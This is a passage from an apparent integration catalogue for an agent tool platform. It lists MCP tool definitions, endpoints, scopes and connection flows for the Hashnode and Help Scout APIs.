credential problem. via GraphQL mutation removePost POST /api/v1/hashnode/mutation/removePost. Scopes: api. hashnode_mutation_submit_draft_for_review (write) — Submit a draft to a team publication's editor review queue -- the contributor path (contributors cannot publish directly). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation submitDraftForReview POST /api/v1/hashnode/mutation/submitDraftForReview. Scopes: api. hashnode_mutation_update_draft (write) — Update an existing draft by draftId; all content fields optional. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation updateDraft POST /api/v1/hashnode/mutation/updateDraft. Scopes: api. hashnode_mutation_update_post (write) — Update an existing post by id; all content fields optional (mirrors Publish Post). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL mutation updatePost POST /api/v1/hashnode/mutation/updatePost. Scopes: api. hashnode_query_check_custom_domain_availability (read) — Whether a custom domain is available for blog setup; returns {available, message}. Public read. via GraphQL query checkCustomDomainAvailability GET /api/v1/hashnode/query/checkCustomDomainAvailability. Scopes: api. hashnode_query_check_subdomain_availability (read) — Whether a hashnode.dev subdomain is available; returns {available, message}. Public read. via GraphQL query checkSubdomainAvailability GET /api/v1/hashnode/query/checkSubdomainAvailability. Scopes: api. hashnode_query_documentation_project (read) — A docs project by id or host, with its guides connection (cursor-paginated). Public read. via GraphQL query documentationProject GET /api/v1/hashnode/query/documentationProject. Scopes: api. hashnode_query_draft (read) — A single draft by id. Requires authorization for the draft; an inaccessible draft answers NOT_FOUND by design (privacy), never FORBIDDEN -- do not retry expecting auth to fix it. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL query draft GET /api/v1/hashnode/query/draft. Scopes: api. hashnode_query_feed (read) — The global post feed, cursor-paginated (first/after; filter by tags/publications and exclusions). Public read. via GraphQL query feed POST /api/v1/hashnode/query/feed. Scopes: api. hashnode_query_me (read) — The token's own account (id, username, email) plus its first 10 publications -- where publicationId for the write tools comes from. Requires the PAT. via GraphQL query me GET /api/v1/hashnode/query/me. Scopes: api. hashnode_query_post (read) — A single post by id: content (markdown), author, tags, series, SEO and engagement counts. Public read. via GraphQL query post GET /api/v1/hashnode/query/post. Scopes: api. hashnode_query_publication (read) — A publication by id or host: metadata, SEO, AEO settings and a page of its posts (postsFirst/postsAfter). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL query publication GET /api/v1/hashnode/query/publication. Scopes: api. hashnode_query_scheduled_post (read) — A scheduled post by id, including its underlying draft. Requires owning the scheduled post. PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL query scheduledPost GET /api/v1/hashnode/query/scheduledPost. Scopes: api. hashnode_query_search_posts_of_publication (read) — Full-text/filtered search scoped to one publication (filter.publicationId required; author/tag/time filters, sortBy DATE_PUBLISHED_ASC|DESC). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL query searchPostsOfPublication POST /api/v1/hashnode/query/searchPostsOfPublication. Scopes: api. hashnode_query_tag (read) — A tag by SLUG (always reference tags by slug) with follower and post counts and a page of its posts. Public read. via GraphQL query tag GET /api/v1/hashnode/query/tag. Scopes: api. hashnode_query_top_commenters (read) — Top commenters for a publication (publicationId required). PRO-GATED at the provider: answers FORBIDDEN unless the target publication has an active (paid) Pro plan -- a provider limit, not a credential problem. via GraphQL query topCommenters GET /api/v1/hashnode/query/topCommenters. Scopes: api. hashnode_query_user (read) — A public profile by username: bio, social links, badges, follower counts and first publications. Public read. via GraphQL query user GET /api/v1/hashnode/query/user. Scopes: api. ================================================================================ ## Help Scout URL: https://www.agenticfabriq.com/integrations/helpscout Section: Integrated Tools Help Scout — 143 MCP tools Provider key: helpscout. Scopes: api. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. helpscout_delete_conversations_by_conversationid (write, destructive) — Delete a conversation. If the conversation was merged with another conversation it is no longer accessible under the old ID: Get Conversation returns HTTP 301 with a Location header pointing at the new conversation (for 60 days), and modification requests return 404. via DELETE /v2/conversations/{conversationId} DELETE /api/v1/helpscout/conversations/{conversationId}. Scopes: api. helpscout_delete_conversations_by_conversationid_attachments_by_attachmentid (write, destructive) — Delete an attachment. Attachments can only be deleted if the conversation is in draft status. If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. via DELETE /v2/conversations/{conversationId}/attachments/{attachmentId} DELETE /api/v1/helpscout/conversations/{conversationId}/attachments/{attachmentId}. Scopes: api. helpscout_delete_conversations_by_conversationid_snooze (write, destructive) — Unsnoozes the conversation. The conversation is placed into its new home folder (Mine, Team or Unassigned, based on assignee) and reactivated if needed. via DELETE /v2/conversations/{conversationId}/snooze DELETE /api/v1/helpscout/conversations/{conversationId}/snooze. Scopes: api. helpscout_delete_conversations_by_conversationid_threads_by_threadid_schedule (write, destructive) — Unschedules the thread. The scheduled thread is converted into a standard draft thread. via DELETE /v2/conversations/{conversationId}/threads/{threadId}/schedule DELETE /api/v1/helpscout/conversations/{conversationId}/threads/{threadId}/schedule. Scopes: api. helpscout_delete_customer_properties_by_slug (write, destructive) — Soft delete of a customer property definition - the property is scheduled for a hard delete, and for the grace period its slug is changed to free the original slug. via DELETE /v2/customer-properties/{slug} DELETE /api/v1/helpscout/customer-properties/{slug}. Scopes: api. helpscout_delete_customers_by_customerid (write, destructive) — Hard-deletes a customer, their microsurvey responses and their conversations, in compliance with GDPR's right of erasure. There is no undo. Synchronous delete returns 204 and fails with 403 if the user does not have access to all of the customer's conversations or the customer has more than 100 conversations. With ?async=true the delete runs asynchronously (returns 202; no 100-conversation limit) - register a webhook for the customer.deleted event to know when the customer has been completely deleted. via DELETE /v2/customers/{customerId} DELETE /api/v1/helpscout/customers/{customerId}. Scopes: api. helpscout_delete_customers_by_customerid_address (write, destructive) — Delete the customer's address. via DELETE /v2/customers/{customerId}/address DELETE /api/v1/helpscout/customers/{customerId}/address. Scopes: api. helpscout_delete_customers_by_customerid_chats_by_chatid (write, destructive) — Delete a customer's chat handle. via DELETE /v2/customers/{customerId}/chats/{chatId} DELETE /api/v1/helpscout/customers/{customerId}/chats/{chatId}. Scopes: api. helpscout_delete_customers_by_customerid_emails_by_emailid (write, destructive) — Delete a customer's email. via DELETE /v2/customers/{customerId}/emails/{emailId} DELETE /api/v1/helpscout/customers/{customerId}/emails/{emailId}. Scopes: api. helpscout_delete_customers_by_customerid_phones_by_phoneid (write, destructive) — Delete a customer's phone. via DELETE /v2/customers/{customerId}/phones/{phoneId} DELETE /api/v1/helpscout/customers/{customerId}/phones/{phoneId}. Scopes: api. helpscout_delete_customers_by_customerid_social_profiles_by_socialprofileid (write, destructive) — Delete a customer's social profile. via DELETE /v2/customers/{customerId}/social-profiles/{socialProfileId} DELETE /api/v1/helpscout/customers/{customerId}/social-profiles/{socialProfileId}. Scopes: api. helpscout_delete_customers_by_customerid_websites_by_websiteid (write, destructive) — Delete a customer's website. via DELETE /v2/customers/{customerId}/websites/{websiteId} DELETE /api/v1/helpscout/customers/{customerId}/websites/{websiteId}. Scopes: api. helpscout_delete_mailboxes_by_mailboxid_saved_replies_by_savedreplyid (write, destructive) — Delete a saved reply. via DELETE /v2/mailboxes/{mailboxId}/saved-replies/{savedReplyId} DELETE /api/v1/helpscout/mailboxes/{mailboxId}/saved-replies/{savedReplyId}. Scopes: api. helpscout_delete_organizations_by_organizationid (write, destructive) — Deletes a single organization by ID. Also removes the reference to this organization from all customers. via DELETE /v2/organizations/{organizationId} DELETE /api/v1/helpscout/organizations/{organizationId}. Scopes: api. helpscout_delete_organizations_by_organizationid_properties_by_slug (write, destructive) — Removes the value of an organization property for this specific organization. The property definition itself is not deleted. via DELETE /v2/organizations/{organizationId}/properties/{slug} DELETE /api/v1/helpscout/organizations/{organizationId}/properties/{slug}. Scopes: api. helpscout_delete_organizations_properties_by_slug (write, destructive) — Deletes an organization property definition. This is a soft-delete; the property is removed permanently after a grace period. via DELETE /v2/organizations/properties/{slug} DELETE /api/v1/helpscout/organizations/properties/{slug}. Scopes: api. helpscout_delete_users_by_userid (write, destructive) — Delete a user. Only Administrators and Account Owners can delete users. The user making the request can't delete themselves. via DELETE /v2/users/{userId} DELETE /api/v1/helpscout/users/{userId}. Scopes: api. helpscout_delete_webhooks_by_webhookid (write, destructive) — Delete a webhook. via DELETE /v2/webhooks/{webhookId} DELETE /api/v1/helpscout/webhooks/{webhookId}. Scopes: api. helpscout_get_conversations (read) — List and filter conversations. All request parameters are joined by the AND operator; the query parameter supports NOT and complex boolean search (subject:, tag:, mailbox:, mailboxid:, modifiedAt:, createdAt:, email:, body:, customerIds:, number:, id:, assigned:, attachments:, replyUserIds:). By default only active conversations are listed, sorted by createdAt descending (equivalent to ?status=active&sortField=createdAt&sortOrder=desc); use status=all for all conversations. Pages contain 25 conversations. With embed=threads, Beacon chat threads appear truncated by design - use List Threads for the full thread. via GET /v2/conversations GET /api/v1/helpscout/conversations. Scopes: api. helpscout_get_conversations_by_conversationid (read) — Retrieve a single conversation. Response fields include type (chat/email/phone), status (active/closed/open/pending/spam), state (deleted/draft/published), assignee, createdBy, tags, cc/bcc, primaryCustomer, customFields, snooze and nextEvent data. When a conversation was merged into another, this returns HTTP 301 Moved Permanently with a Location header pointing at the new conversation for 60 days after the merge, then 404. via GET /v2/conversations/{conversationId} GET /api/v1/helpscout/conversations/{conversationId}. Scopes: api. helpscout_get_conversations_by_conversationid_attachments_by_attachmentid_data (read) — Get the attachment's content as base64-encoded data. via GET /v2/conversations/{conversationId}/attachments/{attachmentId}/data GET /api/v1/helpscout/conversations/{conversationId}/attachments/{attachmentId}/data. Scopes: api. helpscout_get_conversations_by_conversationid_threads (read) — List a conversation's threads, sorted by createdAt from newest to oldest. Thread types: beaconchat, chat, customer, forwardchild, forwardparent, lineitem, message, note, phone (lineitem represents a state change and has no body/to/cc/bcc/attachments; forwardparent marks the original conversation's thread that initiated a forward, forwardchild the first thread of the new forwarded conversation). Thread states: bounced (email delivery issue), draft, hidden (removed from customer-facing emails), published, review/underreview (stopped by Collision Detection). Attachment states: valid (free from malicious content) or virus. If the conversation was merged into another conversation the old ID returns 404; call Get Conversation (301 with Location header) to find the new location. via GET /v2/conversations/{conversationId}/threads GET /api/v1/helpscout/conversations/{conversationId}/threads. Scopes: api. helpscout_get_conversations_by_conversationid_threads_by_threadid_original_source (read) — Returns the thread's original source. With Accept: application/json the response is a JSON object with an `original` field (original e-mail source); with Accept: message/rfc822 the raw message is returned as message/rfc822. via GET /v2/conversations/{conversationId}/threads/{threadId}/original-source Returns the JSON representation ({"original": ...}). Help Scout also offers the raw RFC-822 message under an `Accept: message/rfc822` header; this integration always asks for JSON, because a raw message is unbounded bytes and there is no header channel in an MCP tool call. GET /api/v1/helpscout/conversations/{conversationId}/threads/{threadId}/original-source. Scopes: api. helpscout_get_customer_properties (read) — List the company's customer property definitions. Each definition has type, slug, name and (for dropdowns) options with id and label. via GET /v2/customer-properties GET /api/v1/helpscout/customer-properties. Scopes: api. helpscout_get_customers (read) — List and filter customers. All request parameters are joined by the AND operator. Customers are by default sorted by createdAt from newest to oldest (equivalent to ?sortField=createdAt&sortOrder=desc). Pages contain 50 items. via GET /v2/customers GET /api/v1/helpscout/customers. Scopes: api. helpscout_get_customers_by_customerid (read) — Retrieve a single customer, including profile fields (firstName, lastName, photoUrl/photoType, jobTitle, background, location, organization/organizationId, gender, age), conversationCount, draft flag, createdAt/updatedAt, embedded sub-entities and customer properties (each property has slug, name, type (date/dropdown/number/text/url), value, text and source). Resource links: address, chats, emails, phones, social-profiles, websites, organization. via GET /v2/customers/{customerId} GET /api/v1/helpscout/customers/{customerId}. Scopes: api. helpscout_get_customers_by_customerid_address (read) — Get the customer's address. via GET /v2/customers/{customerId}/address GET /api/v1/helpscout/customers/{customerId}/address. Scopes: api. helpscout_get_customers_by_customerid_chats (read) — List the customer's chat handles. via GET /v2/customers/{customerId}/chats GET /api/v1/helpscout/customers/{customerId}/chats. Scopes: api. helpscout_get_customers_by_customerid_emails (read) — List the customer's emails. via GET /v2/customers/{customerId}/emails GET /api/v1/helpscout/customers/{customerId}/emails. Scopes: api. helpscout_get_customers_by_customerid_phones (read) — List the customer's phones. via GET /v2/customers/{customerId}/phones GET /api/v1/helpscout/customers/{customerId}/phones. Scopes: api. helpscout_get_customers_by_customerid_social_profiles (read) — List the customer's social profiles. via GET /v2/customers/{customerId}/social-profiles GET /api/v1/helpscout/customers/{customerId}/social-profiles. Scopes: api. helpscout_get_customers_by_customerid_websites (read) — List the customer's websites. via GET /v2/customers/{customerId}/websites GET /api/v1/helpscout/customers/{customerId}/websites. Scopes: api. helpscout_get_mailboxes (read) — List the inboxes (mailboxes) the authorized account can access. Pages contain 50 items. via GET /v2/mailboxes GET /api/v1/helpscout/mailboxes. Scopes: api. helpscout_get_mailboxes_by_mailboxid (read) — Retrieve a single inbox: id, name, slug (key used to represent this Inbox), email address, createdAt/updatedAt (UTC). Resource links: folders, fields. via GET /v2/mailboxes/{mailboxId} GET /api/v1/helpscout/mailboxes/{mailboxId}. Scopes: api. helpscout_get_mailboxes_by_mailboxid_fields (read) — List the custom fields of an inbox. Each field has id, required, order, type, name, systemType (which system feature owns the field - topic or sentiment; absent for user-created fields; system fields are managed by Help Scout and cannot be modified), and for dropdowns a list of options (id, order, label). via GET /v2/mailboxes/{mailboxId}/fields GET /api/v1/helpscout/mailboxes/{mailboxId}/fields. Scopes: api. helpscout_get_mailboxes_by_mailboxid_folders (read) — List the folders of an inbox. Each folder has id, type, name, totalCount (total conversations), userId (folder owner), activeCount (active tickets) and updatedAt. Pages contain 50 items. via GET /v2/mailboxes/{mailboxId}/folders GET /api/v1/helpscout/mailboxes/{mailboxId}/folders. Scopes: api. helpscout_get_mailboxes_by_mailboxid_routing (read) — Get the inbox's routing configuration: state (enabled/disabled), assignmentLimit (1-100, always specified for enabled routing), assignmentMethod (round_robin or balanced, always specified for enabled routing), userIds (rotation members; can be empty for disabled routing) and rotation (per-user: userId, conversationsCount, eligible, reason). via GET /v2/mailboxes/{mailboxId}/routing GET /api/v1/helpscout/mailboxes/{mailboxId}/routing. Scopes: api. helpscout_get_mailboxes_by_mailboxid_saved_replies (read) — List an inbox's saved replies. Returns a JSON array of {id, name, preview (used for email replies), chatPreview (used for chats)}. via GET /v2/mailboxes/{mailboxId}/saved-replies GET /api/v1/helpscout/mailboxes/{mailboxId}/saved-replies. Scopes: api. helpscout_get_mailboxes_by_mailboxid_saved_replies_by_savedreplyid (read) — Get a single saved reply: id, name, text, chatText. via GET /v2/mailboxes/{mailboxId}/saved-replies/{savedReplyId} GET /api/v1/helpscout/mailboxes/{mailboxId}/saved-replies/{savedReplyId}. Scopes: api. helpscout_get_organizations (read) — Returns a paginated list of organizations for the account, 50 per page. Sortable by name, customerCount, conversationCount, or lastInteractionAt; without a sort parameter the default is lastInteractionAt,desc (most recent interactions first). Direction defaults to desc when omitted. via GET /v2/organizations GET /api/v1/helpscout/organizations. Scopes: api. helpscout_get_organizations_by_organizationid (read) — Returns a single organization by ID: id, name, website, description, location (two letter country code), logoUrl, note, domains (used to match customers by email), phones, brandColor; customerCount and conversationCount only when includeCounts=true; properties (definitionId, slug, name, type, value, options[].label) only when includeProperties=true. via GET /v2/organizations/{organizationId} GET /api/v1/helpscout/organizations/{organizationId}. Scopes: api. helpscout_get_organizations_by_organizationid_conversations (read) — Returns conversations associated with an organization with the given ID. via GET /v2/organizations/{organizationId}/conversations GET /api/v1/helpscout/organizations/{organizationId}/conversations. Scopes: api. helpscout_get_organizations_by_organizationid_customers (read) — Returns customers associated with an organization with the given ID. via GET /v2/organizations/{organizationId}/customers GET /api/v1/helpscout/organizations/{organizationId}/customers. Scopes: api. helpscout_get_organizations_properties (read) — Returns all organization property definitions for the account. Each account can have up to 50 property definitions. Each has slug, name, type (text/number/url/date/dropdown) and options[].label for dropdown types. via GET /v2/organizations/properties GET /api/v1/helpscout/organizations/properties. Scopes: api. helpscout_get_organizations_properties_by_slug (read) — Returns a single organization property definition by slug: slug, name, type (text/number/url/date/dropdown), options[].label for dropdowns. via GET /v2/organizations/properties/{slug} GET /api/v1/helpscout/organizations/properties/{slug}. Scopes: api. helpscout_get_ratings_by_ratingid (read) — Get a satisfaction rating: id, threadId (thread the rating is attached to), conversationId, conversationNumber, mailboxId, comments (optional comment entered by the user), rating (great/not_good/okay/unknown), createdAt, modifiedAt, user (whose reply was rated by the customer), customer (that added the reply). via GET /v2/ratings/{ratingId} GET /api/v1/helpscout/ratings/{ratingId}. Scopes: api. helpscout_get_reports_chat (read) — The reporting endpoints are only available to Plus and Pro plans. Volume, efficiency and team productivity for Beacon live chat over time. Third party chat integrations show up in the Volumes by Channel report but are not included here - these metrics cover chats via Beacon only. Returns current/previous (volume.chatConversations, volume.completedChats, volume.missedChats, volume.chatsPerDay, responses.waitTime, responses.responseTime, resolutions.messagesPerChat, resolutions.duration), deltas, and range distributions (waitTime ids 1-5: <1, 1-2, 2-10, 10-20, >20 min; responseTime ids 1-5: <1, 1-2, 2-5, 5-10, >10 min; messagesPerChat ids 1-5: <5, 5-10, 10-20, 20-30, >30; duration ids 1-5: <5, 5-10, 10-20, 20-30, >30 min). via GET /v2/reports/chat GET /api/v1/helpscout/reports/chat. Scopes: api. helpscout_get_reports_company (read) — The reporting endpoints are only available to Plus and Pro plans. Statistics about your company performance over a given time range; optionally specify two time ranges to compare. Returns filterTags, current/previous (startDate, endDate, customersHelped, closed, totalReplies, totalUsers, totalDays, repliesPerDayPerUser, repliesPerDay, resolvedPerDay), per-user stats (customersHelped, happinessScore = Great% - NotGood%, replies, handleTime, name, user) and deltas (percentage changes; only with a previous range). via GET /v2/reports/company GET /api/v1/helpscout/reports/company. Scopes: api. helpscout_get_reports_company_customers_helped (read) — The reporting endpoints are only available to Plus and Pro plans. Statistics about how many customers were helped over a given time range; optionally specify two time ranges to compare. via GET /v2/reports/company/customers-helped GET /api/v1/helpscout/reports/company/customers-helped. Scopes: api. helpscout_get_reports_company_drilldown (read) — The reporting endpoints are only available to Plus and Pro plans. Similar to the Company Report, but returns the conversation data that makes up the report. Valid range values: replies (filter by number of replies; rangeId 1-4 = 1-4 replies, 5 = >= 5 replies, empty = all), firstReplyResolved (resolved with exactly one reply), resolved (at least one user reply and status Closed), responseTime and firstResponseTime (rangeId 1-10: <15 min, 15-30 min, 30-60 min, 1-2 h, 2-3 h, 3-6 h, 6-12 h, 12-24 h, 1-2 days, >2 days), handleTime (rangeId 1-5: <1 min, 1-2 min, 2-5 min, 5-10 min, >10 min). via GET /v2/reports/company/drilldown GET /api/v1/helpscout/reports/company/drilldown. Scopes: api. helpscout_get_reports_conversations (read) — The reporting endpoints are only available to Plus and Pro plans. Statistics about conversation volume over a given time range; optionally specify two time ranges to compare. Returns filterTags, busiestDay (days indexed Monday=1..; hours 0-23), busyTimeStart/busyTimeEnd (company time zone), current/previous volume stats (totalConversations, conversationsCreated, newConversations, customers, conversationsPerDay), deltas, and top tags/customers/saved replies/workflows/customFields statistics. via GET /v2/reports/conversations GET /api/v1/helpscout/reports/conversations. Scopes: api. helpscout_get_reports_conversations_busy_times (read) — The reporting endpoints are only available to Plus and Pro plans. Summary of which days and times had the highest number of new conversations. Days/hours are reported using the company's time zone. via GET /v2/reports/conversations/busy-times GET /api/v1/helpscout/reports/conversations/busy-times. Scopes: api. helpscout_get_reports_conversations_drilldown (read) — The reporting endpoints are only available to Plus and Pro plans. Similar to the Conversations Report, but returns the conversation data that makes up the report. via GET /v2/reports/conversations/drilldown GET /api/v1/helpscout/reports/conversations/drilldown. Scopes: api. helpscout_get_reports_conversations_fields_drilldown (read) — The reporting endpoints are only available to Plus and Pro plans. Similar to the Conversations Report, but drills down by a conversation field and returns the conversation data that makes up the report. via GET /v2/reports/conversations/fields-drilldown GET /api/v1/helpscout/reports/conversations/fields-drilldown. Scopes: api. helpscout_get_reports_conversations_new (read) — The reporting endpoints are only available to Plus and Pro plans. Summary of new conversation volume over a given time range. via GET /v2/reports/conversations/new GET /api/v1/helpscout/reports/conversations/new. Scopes: api. helpscout_get_reports_conversations_new_drilldown (read) — The reporting endpoints are only available to Plus and Pro plans. Similar to the New Conversations Report, but returns the actual new conversations that make up the report. via GET /v2/reports/conversations/new-drilldown GET /api/v1/helpscout/reports/conversations/new-drilldown. Scopes: api. helpscout_get_reports_conversations_received_messages (read) — The reporting endpoints are only available to Plus and Pro plans. Summary of the volume of received messages over a given time range. Only messages from customers are counted. via GET /v2/reports/conversations/received-messages GET /api/v1/helpscout/reports/conversations/received-messages. Scopes: api. helpscout_get_reports_conversations_volume_by_channel (read) — The reporting endpoints are only available to Plus and Pro plans. Conversation volumes split by chat, phone and email channels. via GET /v2/reports/conversations/volume-by-channel GET /api/v1/helpscout/reports/conversations/volume-by-channel. Scopes: api. helpscout_get_reports_docs (read) — The reporting endpoints are only available to Plus and Pro plans. Statistics about Docs usage (searches, top articles, etc.) over a given time range; optionally specify two time ranges to compare. current/previous include failedResult, docsViewedPerVisit (sessions expire after 30 minutes of inactivity), foundAnAnswerResult, visitors, browseAction, searchAction, sentAnEmailResult. via GET /v2/reports/docs GET /api/v1/helpscout/reports/docs. Scopes: api. helpscout_get_reports_email (read) — The reporting endpoints are only available to Plus and Pro plans. Efficiency working with email conversations. Returns filterTags, current/previous (volume: emailConversations, emailsCreated, repliesSent, messagesReceived; resolutions: resolved, resolvedOnFirstReply, percentResolvedOnFirstReply, resolutionTime, repliesToResolve, handleTime, closed; responses: responseTime, firstResponseTime), deltas, and range distributions (responseTime/firstResponseTime ids 1-10: <15 min ... >2 days; handleTime ids 1-5: <1 min ... >10 min; repliesToResolve ids 1-5: 1,2,3,4,>=5 replies). via GET /v2/reports/email GET /api/v1/helpscout/reports/email. Scopes: api. helpscout_get_reports_happiness (read) — The reporting endpoints are only available to Plus and Pro plans. How many Great, Okay, and Not Good ratings your company received for each period in a time range; optionally compare two ranges. current/previous include ratingsPercent, okay/great/notGood percentages and counts, happinessScore (Great% minus NotGood%), totalCustomersWithRatings, ratingsCount, totalCustomers. via GET /v2/reports/happiness GET /api/v1/helpscout/reports/happiness. Scopes: api. helpscout_get_reports_happiness_ratings (read) — The reporting endpoints are only available to Plus and Pro plans. A company's individual ratings over a specified time range. Results include conversation number/id/type, threadid, threadCreatedAt, ratingId (1=Great, 2=OK, 3=Not Good), ratingCustomerId/Name, ratingComments, ratingCreatedAt, ratingUserId/Name. via GET /v2/reports/happiness/ratings GET /api/v1/helpscout/reports/happiness/ratings. Scopes: api. helpscout_get_reports_phone (read) — The reporting endpoints are only available to Plus and Pro plans. Volume of phone calls logged in Help Scout. Returns current/previous (phoneConversations, phoneCallsCreated, customers), deltas, and per-user statistics (id, name, current, previous). via GET /v2/reports/phone GET /api/v1/helpscout/reports/phone. Scopes: api. helpscout_get_reports_productivity (read) — The reporting endpoints are only available to Plus and Pro plans. Snapshot of productivity over a given time range; optionally compare two ranges. Use the Company Drilldown endpoint for the underlying conversation data. current/previous include totalConversations, resolutionTime (seconds), repliesToResolve, responseTime, firstResponseTime, resolved, resolvedOnFirstReply, closed, repliesSent, handleTime, percentResolvedOnFirstReply. Range distributions: responseTime/firstResponseTime ids 1-10 (<15 min ... >2 days), handleTime ids 1-5 (<1 min ... >10 min), repliesToResolve ids 1-5 (1,2,3,4,>=5 replies). via GET /v2/reports/productivity GET /api/v1/helpscout/reports/productivity. Scopes: api. helpscout_get_reports_productivity_first_response_time (read) — The reporting endpoints are only available to Plus and Pro plans. Average first response times for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/productivity/first-response-time GET /api/v1/helpscout/reports/productivity/first-response-time. Scopes: api. helpscout_get_reports_productivity_replies_sent (read) — The reporting endpoints are only available to Plus and Pro plans. Number of replies sent for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/productivity/replies-sent GET /api/v1/helpscout/reports/productivity/replies-sent. Scopes: api. helpscout_get_reports_productivity_resolution_time (read) — The reporting endpoints are only available to Plus and Pro plans. Average resolution times for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/productivity/resolution-time GET /api/v1/helpscout/reports/productivity/resolution-time. Scopes: api. helpscout_get_reports_productivity_resolved (read) — The reporting endpoints are only available to Plus and Pro plans. Number of resolved conversations for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/productivity/resolved GET /api/v1/helpscout/reports/productivity/resolved. Scopes: api. helpscout_get_reports_productivity_response_time (read) — The reporting endpoints are only available to Plus and Pro plans. Average response times for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/productivity/response-time GET /api/v1/helpscout/reports/productivity/response-time. Scopes: api. helpscout_get_reports_user (read) — The reporting endpoints are only available to Plus and Pro plans. Snapshot of a user or team's activity over a specified time range; optionally compare two ranges. If a team ID is used instead of a user ID, the report calculates summary data for all team members. Returns filterTags, user info (id, hasPhoto, createdAt, name, totalCustomersHelped, photoUrl), current/previous stats (totalDays, resolved, conversationsCreated, closed, ratings[], totalReplies, resolvedOnFirstReply, percentResolvedOnFirstReply, repliesToResolve, handleTime, happinessScore, responseTime, resolutionTime, repliesPerDay, customersHelped, totalConversations, conversationsPerDay, busiestDay (1=Monday .. 7=Sunday)) and deltas. via GET /v2/reports/user GET /api/v1/helpscout/reports/user. Scopes: api. helpscout_get_reports_user_chat (read) — The reporting endpoints are only available to Plus and Pro plans. Snapshot of a user or team's chat activity over a specified time range; optionally compare two ranges. Returns current/previous (totalDays, newConversations, messagesPerChat, responseTime, waitTime, duration - times in seconds) and deltas. via GET /v2/reports/user/chat GET /api/v1/helpscout/reports/user/chat. Scopes: api. helpscout_get_reports_user_conversation_history (read) — The reporting endpoints are only available to Plus and Pro plans. Details about a user's conversations over a specified time range. Each result element represents one reply the user sent, so duplicate entries are possible when the user replied more than once to the same conversation. Results include number, responseTime, firstResponseTime, resolveTime, repliesSent (including other users'), id, status (active/pending/closed/spam), avgHandleTime, customers[]. via GET /v2/reports/user/conversation-history GET /api/v1/helpscout/reports/user/conversation-history. Scopes: api. helpscout_get_reports_user_customers_helped (read) — The reporting endpoints are only available to Plus and Pro plans. Number of customers a user helped for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/user/customers-helped GET /api/v1/helpscout/reports/user/customers-helped. Scopes: api. helpscout_get_reports_user_drilldown (read) — The reporting endpoints are only available to Plus and Pro plans. Similar to the User Report, but returns the conversation data that makes up the report. via GET /v2/reports/user/drilldown GET /api/v1/helpscout/reports/user/drilldown. Scopes: api. helpscout_get_reports_user_happiness (read) — The reporting endpoints are only available to Plus and Pro plans. How many Great, Okay, and Not Good ratings a user received for each period in a specified time range; optionally compare two ranges. Same statistics shape as the Happiness Overall Report. via GET /v2/reports/user/happiness GET /api/v1/helpscout/reports/user/happiness. Scopes: api. helpscout_get_reports_user_ratings (read) — The reporting endpoints are only available to Plus and Pro plans. A user's individual ratings over a specified time range. Results include conversation number/id/type, threadid, threadCreatedAt, ratingId (1=Great, 2=OK, 3=Not Good), ratingCustomerId/Name, ratingComments, ratingCreatedAt, ratingUserId/Name. via GET /v2/reports/user/ratings GET /api/v1/helpscout/reports/user/ratings. Scopes: api. helpscout_get_reports_user_replies (read) — The reporting endpoints are only available to Plus and Pro plans. Number of replies a user sent for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/user/replies GET /api/v1/helpscout/reports/user/replies. Scopes: api. helpscout_get_reports_user_resolutions (read) — The reporting endpoints are only available to Plus and Pro plans. Number of conversations a user resolved for each period in a specified time range; optionally compare two ranges. via GET /v2/reports/user/resolutions GET /api/v1/helpscout/reports/user/resolutions. Scopes: api. helpscout_get_tags (read) — Returns a list of tags used across all inboxes, in alphabetical order. Each tag has id, name (as seen in the web application), slug (slugified version of the tag value), ticketCount, color (deprecated legacy hex value - use the styles object in conversation responses instead), createdAt, updatedAt. Pages contain 50 items. via GET /v2/tags GET /api/v1/helpscout/tags. Scopes: api. helpscout_get_tags_by_tagid (read) — Returns a single tag by ID: id, slug, name, color (deprecated legacy value - use the styles object returned on tags embedded in conversation responses instead). via GET /v2/tags/{tagId} GET /api/v1/helpscout/tags/{tagId}. Scopes: api. helpscout_get_teams (read) — List teams. Each team has id, name, initials, mention (handle usable to @mention a team in thread bodies), createdAt/updatedAt, timezone, photoUrl. Team IDs share the user ID space and can be used in conversation assignment. via GET /v2/teams GET /api/v1/helpscout/teams. Scopes: api. helpscout_get_teams_by_teamid_members (read) — List the members of a team. via GET /v2/teams/{teamId}/members GET /api/v1/helpscout/teams/{teamId}/members. Scopes: api. helpscout_get_users (read) — List users. By default all user types for your Help Scout plan are returned, including those who have not yet accepted their Help Scout invitations. Pages contain 50 items. via GET /v2/users GET /api/v1/helpscout/users. Scopes: api. helpscout_get_users_by_userid (read) — Retrieve a single user: id, firstName, 